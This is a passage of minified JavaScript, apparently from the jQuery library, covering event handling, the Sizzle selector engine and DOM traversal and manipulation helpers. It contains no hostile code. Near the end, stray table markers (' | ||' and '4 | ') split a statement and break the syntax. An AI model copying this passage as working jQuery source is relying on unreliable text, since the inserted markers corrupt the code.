a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")[\\s/>]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f | ||
4 | .clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof 